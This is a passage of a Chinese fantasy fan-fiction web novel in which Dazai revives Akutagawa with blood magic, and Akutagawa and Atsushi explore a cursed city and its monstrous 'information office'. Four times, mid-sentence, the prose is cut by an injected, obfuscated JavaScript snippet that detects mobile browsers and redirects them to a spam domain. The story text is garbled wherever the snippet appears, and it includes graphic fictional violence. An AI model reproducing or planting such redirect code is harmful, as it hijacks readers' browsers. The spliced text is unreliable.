“您说得对，这是在下的责任。” 垂耳兔青年说出的话中，依旧带着声调不自然的拉长与卡顿，但他不得不继续说下去。 “赫尔城秉行着开放、包容的原则，热烈欢迎每一位赫尔城中的人进行管理者的竞选，最终结果由赫尔城的主教和女皇——即城主大人共同商讨决定，争取选出的管理者能够代行责任，为每一位暂留于赫尔城的民众带来完美体贴的生活体验。” 太宰治点点头，示意垂耳兔青年伸出手：“这是请求和疑问，希望你能按照规则遵守。” 垂耳兔青年的手臂便不得不为此而抬高。 但他的行动并不妨碍他继续对太宰治的疑问提出解答。 “先生，很抱歉，规则手册作为赫尔城中重要的一部分，受秩序之神的指引，会在特定的时机才能向每位获取它的客人提供完整的内容，在此之前，您只需要遵循基本的规则，一定能在赫尔城中有着良好的体验。” 太宰治点头，将垂耳兔青年腕部的衣衫向上卷起，其下苍白的皮肤上青色的血管清晰可见。 而接近腕横纹的皮肤之上，被烙印下了一圈黑色的符文刺青。 刺青的部位经过正在微弱搏动的脉搏，随着垂耳兔青年的呼吸起伏，在他手背后方的位置，是用利刃刻下的魔法阵。 太宰治顺着符文的位置，将手里的刀子一点点用力插入其中，随后用力滑动，皮肉随着闪烁着银光的锋利刀刃绽开，汩汩的血液流出，直到最后，那一刀割破了脉搏。 红色的血液带着剧烈的血腥气从中喷射、四处飞溅。 “乖孩子。”太宰治语气轻柔，带着些许亲切与赞叹：“好吧，那你还记得什么呢？除了遵守规则，没有什么想要说明的吗？” “比如，你还记得自己作为管理者之前的身份吗？” “姓名？来自何处？” “又或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962294|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你打开过这份有关赫尔城的规则后面页码吗？我想当你记起来以后，会告诉我一切的。” “对吧，芥川。” 太宰治冷漠地将刀刃抽出。 匕首被精心呵护过，以至于当它脱离伤口之后，太宰治只需要轻轻甩动，上面就不剩一丝血痕。 黑发的绷带青年慢慢地看着眼前垂耳兔青年伤口处喷射的血液，因为动脉被割破，以至于在瞬间，他就喷出了大量的鲜血。 这些快速流出的液体带走了垂耳兔青年原本就不多的生机，他看起来病怏怏的苍白脸颊连最后的鲜活生气都消失不见，整个人快速地灰白下去。 但他嘴里还在机械地回复着太宰治提出的问题。 “我想是的，先生，需要遵守……规则。我还记得——什么？”垂耳兔青年支撑着偏倒头颅的最后力量都消失不见，从头颅起，逐步到全身。 他整个人就像是被抽掉全部丝线的木偶，无法抑制地散架，倒在了自己流出的血泊之中。 太宰治突然松开了握住垂耳兔青年的右手，居高临下，眼眸微垂看着发生的一切。 垂耳兔青年的右手手背浸润在血泊之中，但他依旧还在念念有词：“我记得——这之前？” 他银灰色的眼中又弥漫上了熟悉的黑色印记，整个人显得怪异而扭曲。 他好像是在和什么进行一场激烈的争夺，原本失去所有活力的身体又突然剧烈地颤动起来。 他蜷缩在地上，四肢扭曲，明明灭灭的双眼里，阴沉沉的黑光笼蔽过整个眼珠又快速消退。 “管理者……规则……手册……后面的内容……” 垂耳兔青年的嗓音最终如同完全卡壳的齿轮，前进不能，后退不得，事实上，他的喉咙中间已经完全被反过来上涌的液体给整个糊住了，以至于他说出的所有东西，都只是一点浅薄的气声。 大口大口的血夹杂着其它的东西被吐出。 “芥川——我的名字——芥川……龙之介。” 这一句话仿佛是打开了水阀的开关，垂耳兔青年颤抖的身体一瞬间僵硬了。 剧烈的颤抖戛然而止，青年在地面上突然凭空从胸部弹起，半个人从中间突然被提起来，凭空停滞两秒，随后，他右手手背后部的魔法阵在血光之中发出粲然的光芒。 太宰治面无表情，用那柄匕首割破自己的掌心。 他和中也的契约之中涵盖着巨大的元素魔法力，而这些魔法力能够通过太宰治身体的血液转化出来。 红色的液体一点一点被注入垂耳兔青年右手的魔法阵中，被激活的魔法阵快速运转，与之同时，垂耳兔青年眼中的黑色快速消退。 地面上的血液开始倒流，一点一点，顺着垂耳兔青年手腕上的伤口重新注入其中，血色与生机再度在他的脸上浮现，最终恢复如初。 太宰治停止注入血液的动作，熟练地用纱布将自己的手缠绕起来，坐到一旁的桌边，双腿跨开，交握的手叠放，整个人以前倾的姿势看着不远处发生的一切。 他等待着地面上的垂耳兔青年银灰色的眼睛中重新灌注上流转的光芒，轻声：“欢迎回来，芥川。” 15. 神明遗迹（十一） 抽痛，身体仿佛骨折一般被敲碎了摊在地上。 芥川龙之介姿势扭曲，艰难地将自己摆正，从地面上坐起来。 他因为头痛而用手慢慢揉着额头，半边脸不自觉皱起，右眼和向上歪的嘴角夸张地好像要挨在一起。 但使用的右手很快传来不适。 尽管伤口已经全部修复、愈合，但残留的神经痛依旧令他条件反射性地蜷缩了一下手指。 但他依旧坚定地记得自己最后听见的声音，十分努力地四处打量——尽管现在脑袋里一团乱麻。 入眼的是一个被严严实实笼罩在被单里的橘发美人，闭着双眼陷入沉睡。 精致的娃娃脸显得恬静而美好。 陌生。 毫无印象。 芥川龙之介对此做出评价，视线很快从床上的人挪开，而后，他就看到了蹲在床尾，娃娃脸美人脚边正牢牢盯着他的鸢眼黑猫。 小黑猫身边还有着一团被捋得乱糟糟的绷带。 芥川龙之介几乎脱口而出“太宰先生”，而后在黑猫带着些许杀意的目光中差点腿软又给跪下了。 但他多少还是撑住了自己的身体，小心地上前，将太宰猫猫身边的绷带试探性地拿起来，在无声的许可里，默默替这只猫大爷缠了起来。 尽管芥川并不知道自己哪里不小心触及了太宰猫猫的逆鳞，但他清楚地知道生存法则——太宰先生说什么、做什么都是对的。 当然，太宰先生的半身，黑猫太宰先生同样如此。 只是当两位太宰先生都在场的时候，保持沉默往往是最佳选择。 被缠绕好绷带的太宰猫猫看起来又和之前如出一辙。 它的心情稍稍舒畅一点，而后警告性地喵了一声，起身走猫步到了橘发青年脸颊边趴下。 芥川龙之介福至心灵，起身避开了和床上人的视线再接触，一转头，看见了太宰先生本尊。 腿软来得如同狂风暴雨，势不可挡。 所幸他站住了。 芥川龙之介快步走向坐在椅子上面无表情的太宰治。 他已经不知道在那里看了多久。 芥川龙之介心里咯噔，极其不愿意承认大概被太宰先生看完了全程这样的糗事。 但他一贯会在长辈面前控制情绪，只是乖巧地站过去，犹豫许久，在“老师”和“太宰先生”之间还是选择了后者。 短暂的沉默，太宰治变换了坐着的姿势，身体后仰，单手搭在椅子的扶手上：“很高兴你的运气不错，还能活着。” 听不出情绪的话语，但将将把混乱记忆理出一个线头的芥川还是习惯性地低下头，带着些许的不甘和忐忑。 他已经全部想起来了，作为莱欧城邦黑夜护卫队长，未尽职责意外将人放入遗迹，导致自己和中岛敦被迫追入遗迹的事情。 甚至因此在遗迹之中陷入危险，自身难保。 原本他已做好了在遗迹中赴死的准备，想着至少将同行的人虎送出去，能传递消息，也算不上毫无收获。 但现在看来，好像还连累了太宰先生，导致他也进入了遗迹之中。 事到如今，还有什么想不明白的呢，太宰治进入遗迹后找到了他，并通过早先捡到并收养他时，给他打下的生命之契的魔法阵救了他一命。 “谢谢您，太宰先生。” 芥川肉眼可见地萎靡下去，发尾的浅白色好像都黯淡了不少。 太宰治将放在手旁的匕首拿起来，对着烛光翻转：“感谢大可不必。” “倘若你准备好了，就请陈述你的经历吧。”太宰治声线毫无起伏的时候，就显出了原本的华丽与磁性。 只是这原本悦耳的声音却令眼前的垂耳兔青年绷紧了身体。 芥川在疯狂处理自己脑海中的讯息，先前经历的一切在他的眼中快速滑过，而后汇聚成一段完整的陈述——他很清楚，太宰治出现在这里绝非偶然。 “在下与人虎追着那队偷渡的雇佣兵进入遗迹后，就如同太宰先生所见，来到了这座赫尔城。” 芥川龙之介与中岛敦，一个是暗精灵的后裔，另一个是兽人族后裔。 精灵与各个种族之间都有着和谐与良好的秩序，但好巧不巧，作为分支的暗精灵这一族和月下白虎这一族是互看不顺眼的死敌。 更糟糕的是，暗精灵身体与“混沌”相关——尽管他们这个种群是修习亡灵法师的好料子，但他们会在一定程度上影响到世界的发展，所以常常遭到灭绝。 而这当中，出力最多的恰恰就是拥有神明血脉的神兽“月下白虎”一族。 死敌的关系早在族群当中就有所展现，暗精灵一族自古以来，就和月下白虎一族积怨颇深，见面既是战争。 但奈何作为神兽，他们往往拿“月下白虎”没什么办法。 直到诸神黄昏之后，神明陨落，而作为他们眷属的“月下白虎”因而遭到无妄之灾，被降下的神罚搞得几乎灭族，至此杳无音讯。 而这一代，不知道莱欧城邦的黑夜与黄昏从哪里搞来了这两个种族的后人，居然还常常让他们俩一起出任务。 从种族血脉中流淌着的敌对因子使得芥川和敦和他们族群的关系一样，同样糟糕，而敦作为黄昏阵营的工作人员，居然受到了他一直以来尊敬、崇拜的老师“太宰治”的赞许和呵护这一点更为此填了一把柴。 要知道，芥川作为被太宰治捡到并带大的孩子，做梦都想获取的就是来自老师的认可。 为此他努力了二十多载，最后发现还不如一个仅仅出现在太宰治面前半载，还是黄昏阵营的人虎！这简直不可原谅。 而造成现在局面的原因，仅仅是因近期莱欧城邦变革，三方阵营工作开始交接合作，不断有来自其他阵营的工作人员被派遣到其他阵营帮助出差——太宰治就是被外派的工作者之一。 也因此，当芥川和敦来到完全陌生的遗迹做的第一件事就是分道扬镳，这也为后续事件的糟糕发展埋下伏笔。 来到赫尔城的芥川龙之介抱着一定要先中岛敦一步抓住那伙违规偷渡的探险雇佣兵的想法，在套到和太宰、中也二人如出一辙的“板车接送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962295|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人”关于赫尔城路线的话后，就提前跳车，找了个没人的地方，用稀薄的元素力强行发动传送魔法阵，把自己弄进了城。 而这座赫尔城，同样在为将要举行的“婚礼”提前准备。 整座城，就像是一般的富饶国度那般，平和而安静——这完全符合白昼方对遗迹危险度的评判，甚至还要低一些。 芥川作为黑夜的城邦工作者，对于遗迹之中是另一方小世界的基本事实再清楚不过。 要想处理遗迹，最根本的方法就是找到遗迹出现的核心，并做摧毁即可。 在摧毁之前，可以将遗迹当中有价值的东西利用炼金术所造的特殊装置或魔法带出遗迹，但那些都是要对遗迹进行开发时才会做的事情。 一般而言，他们偶然先行进入或是为了探索基本情况的时候，只需要找到遗迹开启相关的“门”离开就行了。 通俗一点就是从哪儿来回哪儿去，只是这个门可能并不在人们进来的地方，需要花点时间去找。 但这些都不是芥川的重点。 他的重心在于，找到那伙人，押出去戴罪立功，至于人虎，只是他的对照组。 他要用这样的方式向太宰先生证明自己远比人虎优秀的能力。 芥川的搜查能力的确一流，他仅仅在城内花了不到半天的时间，就找到了那伙人的踪迹。 他把这伙将要受到法律惩罚的家伙关进了据说免费的旅店，并在外搜寻“门”的线索。 夜晚的时候，芥川正正在咨询处中度过了一夜。 他甚至被咨询处的“主教先生”邀请到二楼，得到了一些关于赫尔城的背景。 夜晚的时间相当漫长，芥川因为任务原因使然，并没有在和主教交流完毕后离开咨询处，而是背着咨询处的人开始四处搜寻。 他最后从咨询处的二楼资料室里找到了两本写着上下部的“规则手册”——扉页甚至还有着关于赫尔城历史的介绍。 来不及翻阅这两本资料，屋外传来若隐若现的脚步声，和什么东西被拖动，在地板上划出尖锐长鸣的声响。 暗精灵总是对混沌格外敏感，而混沌往往伴随着死亡。 与之亲密接触着的亡灵法师立刻从这段音频中察觉不妙。 芥川慢慢靠到资料室的窗边，声响最终停在门外。 紧接着响起的，是不久前曾听到的，主教先生略带油腻的虚伪问好：“您好，尊贵的旅人先生，请问您不是有急事要离开咨询处吗，怎么好像迷路，走错了地方？” “请问您是否需要帮助？” “我会竭诚为您服务。” 芥川十分肯定自己来到资料室绝不曾留下任何痕迹，也没有引起任何人注意——在此之前，甚至没有露出过意图引发警惕。 而这座看起来远没有莱欧城邦发达的城市里也不存在“留影仪”这种靠魔法驱动的先进设备。 那么现在这个，在光下，从门内看去，留下的影子看起来如同膨胀的一大块拼接而成的轮廓曲折的软体物品，正发出“主教”声音的东西究竟是什么？ 16. 神明遗迹（十二） 门上那道东西投下的影子足有两人高，它似乎并不知道门后的光影已经暴露了它的模样，又或者知道却不在意，只是一味地用黏腻的声音向屋内呼唤。 芥川并不害怕遇到事情，但对于死亡预警这样的东西也并不会忽视。 好奇心固然重要，但在未知的“死亡”面前，他还是能及时收起那点不合时宜的勇气，能避则避。 “迷路的客人？您在做什么呢？” 甜腻腻的腔调激起芥川浑身的鸡皮疙瘩。 他抿着嘴，尽量轻地推开了窗户。 “啊呀呀——您怎么还把窗户打开了。” “主教”的声音随着被推开缝隙越来越大的窗户而变得尖锐，“他”不赞同地在门口踌躇，随着这扇窗被完全推开，门后的那道身影突然开始剧烈地蠕动起来。 好像是成千上万的蛹鼓包凑在一起，黑色的影子被完全印在门上。 这些咕嘟咕嘟的一大团东西猛烈地撞击资料室的门。 偏偏这扇门无法被锁上，只是虚掩着。 芥川龙之介在门扉被蠕动着的不知名东西破开的一刹那，猛地向被打开的窗户外翻身而下。 城市之中两短一长的播报钟声在这时恰如其分地响起。 窗下是弥漫的大雾，最后一眼，从门后先行涌出来一块鲜红色的“肉块”，在地面上摩挲着，其上大张着三四口布满利齿的嘴，正不断发出声音。 而那股隐约间的死亡感受在这个东西露头的一瞬间跳跃了几个档次，向芥川的每根大脑神经都陷入最高防御状态。 出乎意料的恐惧感笼罩上来。 “客人——您需要帮助吗？” “客人——您遇到麻烦了吗？” “客人——劝您不要随便离开这里——” 它们争先恐后地发出“主教”的声音，仿佛生怕没能尽到作为咨询处负责人的职责，而那团蠕动着奔涌出来的肉块正在不断变大、膨胀，其上的嘴越来越多，后面甚至隐约能看到别的什么器官——见鬼！ 那一眼，只是那一团在门后喋喋不休的“主教”身躯的一角，却足以让看见的芥川感到恶心。 钟声之后，地面上弥漫着的大片令人无法看清东西的浓雾以极快的速度变得稀薄，消散踪迹。 也是恰巧，芥川落下的那块区域里，雾气极淡，几乎快要消散干净。 但他还是短暂地陷入晕厥 视线模糊一瞬，好像是因为精神太过紧绷而遭遇的短暂病理状态。 芥川晃了晃脑袋，想要将这点不适甩出去。 他还警惕着上方那团“惊鸿一瞥”下的恶心东西，担忧是否因为自己的举动惊扰了这么一样东西，触发了这座遗迹的死亡项。 但那块“肉”或者“主教”却并未从窗户追出来。 那两扇打开的窗棂被清晨的凉风吹得来回扇动，发出“吱呀”的声响。 头顶的窗户后边，没有任何响动，仿佛刚才遭遇的一切，都只是出于精神压力发生的一场幻觉。 前方的雾气散的极快，只是几个呼吸，便足以看清路径。 身后的咨询处正门依旧大开着，门前汩汩的喷泉水正一股一股从中涌出。 芥川没有多留，缓过来之后，便向着清晨雾气之后的路而去。 不知是否是因为雾气没有完全消散的缘故，芥川始终觉得周遭的气息显得黏稠。 视线里总是看不清道路两旁的东西，不必提建筑、窗外挂着的装饰品，就连昨日那样多的摊位都无影无踪。 是因为清晨太早了，而赫尔城人夜晚时连同摊位一起收走了吗？ 还是因为他……走错了路？ 循环转了两圈，再次重复听到忽远忽近的喷泉水流声响，芥川紧绷的身体终于停止了继续前进的动作。 看来，没有这么好离开了呢。 只是短暂的思考，芥川便放弃继续无用功般的赶路。 他转向，朝着喷泉涌动声响最强烈的方位而去。 一步、两步，记忆里依旧是在咨询处的资料室里看见的东西，当四周无人，看起来诡异静谧的时候，人们往往不得不开始高速运转头脑，以思考些什么东西的方式来压抑心里的不安。 那是什么呢？ 魔物？ 不对，那个东西身上并没有魔物应有的魔法元素波动。 被人为制造出来的什么东西？ 不对，它运动的方式完全看不出机械制造的迹象，更像是本身就存在的行为。 从芥川与那个东西短暂相接触的感受而言，这个东西看起来和熟悉的“混沌”出自同源。 它一样的混乱、驳杂、负面情绪满额，与之相对的，是亡灵法师最为亲切接触的“死亡”。 但它绝不是死亡后的东西，混沌更像是用死亡在它的外侧笼罩上了一层“衣服”，用这样的方式掩盖住了它下方的一点点生机。 没错，即便相处时间短暂，但对于生死最为熟悉的亡灵法师而言，芥川绝不可能认错这一团“肉块”里蠕动着的微薄的生机。 一般而言，生机会出现在各个生物身上，有生命，就必定会有生机，这是生命和死物最大的区别。 而亡灵法师虽然常常和“混沌”——即死亡来源打交道，本质上也仍旧保留有生机，属于生命。 但芥川看见的这个东西不一样。 它绝不可能是“生命”。 …… 水流声响越来越大，直到芥川已经做好再度面临这个咨询处怪物的准备，从胸前领结上的储物水晶里取出自己的法杖时，周遭的一切都静止了。 “罗生门——”法杖顺从芥川的号令，变为了他作为亡灵法师的伴生灵。 作为亡灵法师，芥川能够做的，就是用伴生灵进行各种与“死亡”相关的魔法运用，从而进行战斗。 因为罗生门能守能攻，是成长型的死灵，实力强大且完全听从芥川的号召，故芥川本身的战斗能力其实并不算出众。 更多的时候，他都是利用罗生门碾压对手。 在面对未知时，提前将罗生门召唤出往往能带来更大的安全保障。 雾气全部消散了。 芥川深呼吸，罗生门随他的心念缠绕在双臂上，漆黑色的死灵如同流淌着的死亡之河包绕住芥川，现在的情况下，普通的攻击基本很难令他受伤。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962296|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芥川？”少年清亮的声音在身后响起，肩膀被同步拉住。 罗生门顺应主人的反应，一瞬间冲着来人咬过去，那只拉住芥川肩膀的手十分迅速地收回避开。 “好吧，你这家伙，还是这么蛮不讲理。” 罗生门不依不饶，追着声音的源头而去，身后的白发青年连连后退，以避开攻击。 少年穿着干练的骑士便服，裤脚一丝不苟地扎进长筒皮靴中。 此时此刻，他正被罗生门一连串的攻击搞得叫苦不迭。 “喂，我说，无理取闹也要有个限度吧？你认出我了对吧？”白发少年的像只灵敏的老虎，翻身，单手撑地，头随着重新化成一团黑漆漆的，有着血盆大口的模样的罗生门的攻击而左闪右避：“我是看你一股脑往水里走才出声的！” “那喷泉怎么说也是人家的景观之一吧？直接踩进去还是有些太不礼貌了啊！” “我说，别装死啊——芥川龙之介！” 随着罗生门的攻击越来越快，一直闪避的白发少年紧皱眉头，反手抓住还在持续不断咬过来的罗生门，猛地向后一拖。 因为罗生门还绑在芥川的身上，以至于白发少年突然发力的动作连带着将左腿还悬在半空的芥川一起向后扯了两步。 微微的踉跄后，罗生门以极其强大的柔韧度，将自己从白发少年手里拉长，继续张开嘴，在即将咬到白发少年的那一刻停滞在半空。 随后迅速抽条、缩水，变成一根细细黑色丝线般的黑色流淌液体收回到芥川的身上。 “所以我说，你果然是在装死吧？就为了揍我一顿？”白发青年松了口气，双手撑着膝盖和缓呼吸：“我记得，从见到你开始，应该没什么冒犯到你的吧？” “怎么每次都一副恨不得揍扁我的样子？我可没有对你以及你们族群有任何恶意啊！” “闭嘴。”芥川还维持着被白发青年拉回来的动作：“聒噪的人虎，谁让你突然出现在我身后的。” 他看着前方两步远的喷泉，眯眼。 只差两步，芥川的一条腿已经悬在半空。 如果不是被白发青年叫住，他真的会一脚踩入喷泉池中——但他竟然在这个过程里没有任何感觉，甚至，什么都没有看见。 这一切看起来太过匪夷所思，但它确确实实发生了。 “喂，人虎，你什么时候看见在下的？”芥川半眯眼，看着眼前清澈的泉水。 雾气消散，被白发青年叫住之后，周围的一切好像都变得不一样了。 或者说，一切又重新清晰起来。 两旁道路口外摊位上时熙熙攘攘，重新出现的人群，赫尔城的民众们正在从事一天的生活活动和对“婚礼”的布置、筹办。 芥川龙之介此时此刻正正站在咨询处的外面，正对人形雕像喷泉的地方——只是，这并不是昨日他进入的那个咨询处。 雕像上的人像动作上有着细微的差别，这个人物斗篷外还有零星的花朵刻痕——但昨日的咨询处门前的喷泉雕像上，是菱形的星星。 这一切就好像在无声地告诉芥川龙之介，方才那一段路程里，他无数次经过了赫尔城里的多个“咨询处”。 17. 神明遗迹（十三） “啊，一拐进这条街道就看见你了啊，我还吓一跳呢。”白发少年直起身，向芥川的方向靠近：“还有，都说了多少次，我叫中岛敦。” 显然芥川并不愿意直呼白毛少年姓名，他直接无视了后半句话，回头看着靠近的人。 “不过，你昨天突然一声不吭就跳车走掉，还真是坚决啊。” 中岛敦叹气：“不过，城邦黄昏与黑夜两位首领不是点名要我们俩搭档执行任务吗？你就这样直接走掉，让我有些难办哎。” “在下的任务不需要你。”芥川习惯性双手插兜，却发现自己这次执行任务并没有穿外套，而是之前由妹妹芥川银定做的，用于彰显亡灵法师身份的宫廷上衣加直筒裤。 这些衣物的料子极其珍贵，面料顺滑精细，甚至考虑到了穿的人身体不好，会随身携带手帕的习惯，还在袖口专门做了夹层，用于放置手帕，便于需要时抽取。 反正芥川的魔法学得还不错，手帕脏了用日常清洁的小魔法处理一下即可继续使用。 唯一的缺点就是，这套衣服并没有准备口袋。 以至于芥川的动作停顿在一半，又找补似的从袖口抽出手帕，装模做样地擦拭一下原本就很干净的手指。 “总之，我并不认可你的能力，也不希望因为你影响到我的任务进度。”芥川龙之介将手帕重新放回去，漠然地重复。 他抬腿错身和中岛敦擦肩而过，没有一丝犹豫。 中岛敦有些许纠结地抽了抽鼻尖，在芥川将要离开街口时，他下定决心转身，试图最后挽回：“可是，太宰先生嘱咐我一定要和你一起。” “这是他的手信……” 中岛敦从自己的口袋中摸出一张皱巴巴的，用草纸做信纸的手书，话音还没有落下，就被原本还在路口的芥川操控着罗生门夺走。 速度之快，只留中岛敦在风中凌乱。 芥川将手书小心翼翼展开，其上仅仅用潦草的字写下了“劳请芥川同中岛敦搭档”短短一句话，却令芥川一瞬间卸下满身防备，珍而重之地将信纸展平、折叠成小方块放入储物水晶。 隔着一段距离，但奈何视力良好，不得不看完全程的中岛敦嘴角抽搐。 “所以我说，这家伙一定是太宰先生的狂热粉吧？”白虎少年一言难尽，只敢小声吐槽。 芥川将得到的，来自太宰治的手书小心珍藏后，重新恢复了一贯的冷漠，半侧身体。 “啧，还不走吗？” 见到中岛敦还在原地无动于衷，芥川眉头微皱，低音炮的声线一旦被用力拉直，就会显得凶气十足。 他与敦之间几乎是无法调解的矛盾——至少在他们二人的视角里是这样的。 以至于当芥川放缓语气，主动开口邀请他同行时，中岛敦一时之间没有反应过来，愣在原地伸手指了指自己：“啊？你是在说我吗？” “难道这里还有除了我们之外的其他人？”芥川嗤笑，半闭眼，彻底转过身向着街道外走去：“看在太宰先生的要求上，在下只能勉为其难和你合作。” 中岛敦环顾四周。 赫尔城的设计有时令人摸不着头脑。 城内的街道宛如蛛网脉络，从城中心向四方延伸，几乎每隔一段路途就有一个通往另一条街道的路口。 不同的路口宽窄程度又有所差异，有的道路两旁的房屋相隔甚远，底部是一贯的商铺加摊位的经营模式，街道中间几乎能容纳两到三辆马车并排通过； 有的又十分逼仄，被二三十米高的建筑夹在其间，仅仅只有底层有着零星的门扉样式建筑。 不知是否是凑巧，咨询处的这一整条街道的区域，就属于后者。 底层每十米的门扉里仅仅只有“咨询处”这么一户开启，而喷泉是它所特有的景观建筑——作为迎接城内或城外需要帮助“客人”的地方。 哪怕这里并不是芥川昨日待的那个咨询处，它们的构造却大差不差。 而此刻，作为面向所有“客人”的地方，整条咨询处所在行街道上，除了中岛敦和芥川，再没有其他人。 但从街道里向通道口望去，另一侧的街道上却有着络绎不绝的客流量。 熙熙攘攘的人群即便只是通过街道那条小小的通道口，也能被看得清清楚楚。 两侧是二三十米高的房屋，被夹在其间，最底部的“咨询处”没有一丝阳光照进来。 房屋的阴影打在喷泉雕像、咨询口墙壁与大门上，显出一丝冷寂与阴凉。 好吧，很显然，芥川龙之介就是在和他说话。 中岛敦确认了这一点。 缓步向前的芥川龙之介熟知身后人慢半拍的性子，不过十数米的距离，他却用了二三十步：“约法三章，任务一旦结束，在下和你之间的恩怨还是需要了结的。” 无妄之灾。 中岛敦对此叫苦不迭。 作为最后一只“月下白虎”，他从始至终都没有一点要继承先辈们同暗精灵不死不休关系的癖好，日常生活里也在尽可能向芥川释放自己的善意。 但效果微乎其微。 对于此，白虎少年并没有什么太好的办法。 他曾经试图和芥川的收养人——太宰先生取经，寻求相处之道，但太宰治对此却没能给出任何有效提议。 “不知道啊。” “芥川一直都是这样。” “忍忍他的脾气就好啦。” 这样毫无建设意义的三连回应，能从中真的得到方法才是见鬼了吧！ 芥川龙之介对太宰治抱有全部的尊重和赞美，这一点是中岛敦作为合作人员在前往黑夜方之前就略有耳闻的东西。 他原本只认为这是一种夸张说法，时至今日，亲眼见证了这一点后，他才不得不承认，前辈们对此的描述简直太过精准。 芥川何止对太宰治痴迷，简直到了言听计从的地步啊！ 所以日常交往里，芥川总是对他抱有强烈敌意是十分正常的事——才怪。 中岛敦思维发散，在遇到看起来十分难以理解的事情时，总会在短短时间里吐槽无数句话。 几遍着无数句话很难通过他之口被说出。 即使对这位阴晴不定的“临时搭档”还有些许的害怕与恐惧，但看着前方刻意放缓了步调，缓缓靠近街道口的芥川，中岛敦还是下意识抬腿跟上去了。 临走之时回头，咨询处的大门依旧敞开着。 也许是因为光线太暗，中岛敦只能看见门里黑洞洞的一片。 “我原本还想来这里找线索的。”白虎少年出声。 芥川在前方不语，只是继续向前。 门口的喷泉雕像捧着一颗看不清究竟是什么的球，弯腰，整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962297|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人以一种几乎扭曲的姿势站立着。 能使得雕像以这样找不到重心的方式立在这里，工匠真是相当有水平。 中岛敦看着那个隐藏在斗篷后，被称作是“神明雕像”的喷泉塑造，莫名地觉得祂有种说不出的悲伤。 这雕像斗篷后的视线，好像就一直注视着他和芥川两个人似的。 中岛敦的后背有些许发凉。 他打了个莫名的寒战，快步追上芥川。 黎明之后的初阳投射下光洒在路口，但人们根本无法从中汲取到一丝一毫的热量。 芥川正正站在光里，一转头看见追上来的中岛敦，垂眸：“出息。” 顿了顿，他屈尊降贵：“这里我找过了，也许有必要的。” 中岛敦继续等候，两人僵持着。 看着迟迟没有下一步动作的芥川，敦犹豫片刻，还是说出了自己心里的疑惑：“芥川你怎么会在这儿？之前还一副要走进喷泉里的样子。” “我好像觉得，那个喷泉雕像会动。” 芥川并不回头，拉着中岛敦在左右方向随便选择了一个，径直而去。 “鄙人昨日追捕到了那群逃犯，把他们锁在波的旅店之后就出来寻找‘门’的线索。” “经过城内信息的搜集，最后锁定在了咨询处。按照目前的情报而言，咨询处里大概有很多关于遗迹的讯息。这一点，相信你也知道，不然不可能今日出现在这里。” 中岛敦点头。他是通过和城内居民的聊天打探到这个情报的。 “经过在咨询处的信息询问与核对后，鄙人得知——‘门’大概率在城中心。” “但这里的疑点太多，鄙人担忧后续进来这里进行遗迹探索的时候会遇到意外，就在咨询处额外收集资料。” “没想到居然耗了一整夜。因为收集线索招惹了咨询处里的一种混沌感很强的怪物，被迫跳窗逃离。” “落地的时候，钟声正好响过，地面雾气还没消散完。” 芥川带着敦径直向关押着那群罪犯的波的旅店而去。 “赫尔城里的雾气太奇怪了，完全看不清楚，鄙人一连走了很长一段时间，始终在喷泉声里绕圈，只能向着喷泉声去。” “而后就是你知道的了。” 这是两人的谈话第一次没有冷场，敦也乐得做个认真的听众。 “但也不算全无收获，至少目前可以知晓，赫尔城有着不止一间咨询处，而咨询处有着不知来历的危险怪物，和这些。”他说着，从储物水晶里取出了拿到的上下本的手册。 中岛敦若有所思：“可是，我听说赫尔城午夜铃声之后不能在外面啊。” 他们顺着路来到波的旅店，按照芥川的说法推开了关押着“罪犯”的房间。 出乎意料的是，房间内空空荡荡。 “你是说，你把他们带到这里了？”中岛敦从芥川带着他上楼起就面色古怪。 直到站在旅店芥川所关押人的房间外，推门后，他的面色凝重到极点。 中岛敦看着地面些许狼藉，和窗边一摊不知名的透明液体：“可是这里什么都没有。并且，我昨夜在这里借宿，服务员带我来的，就是这个房间。” 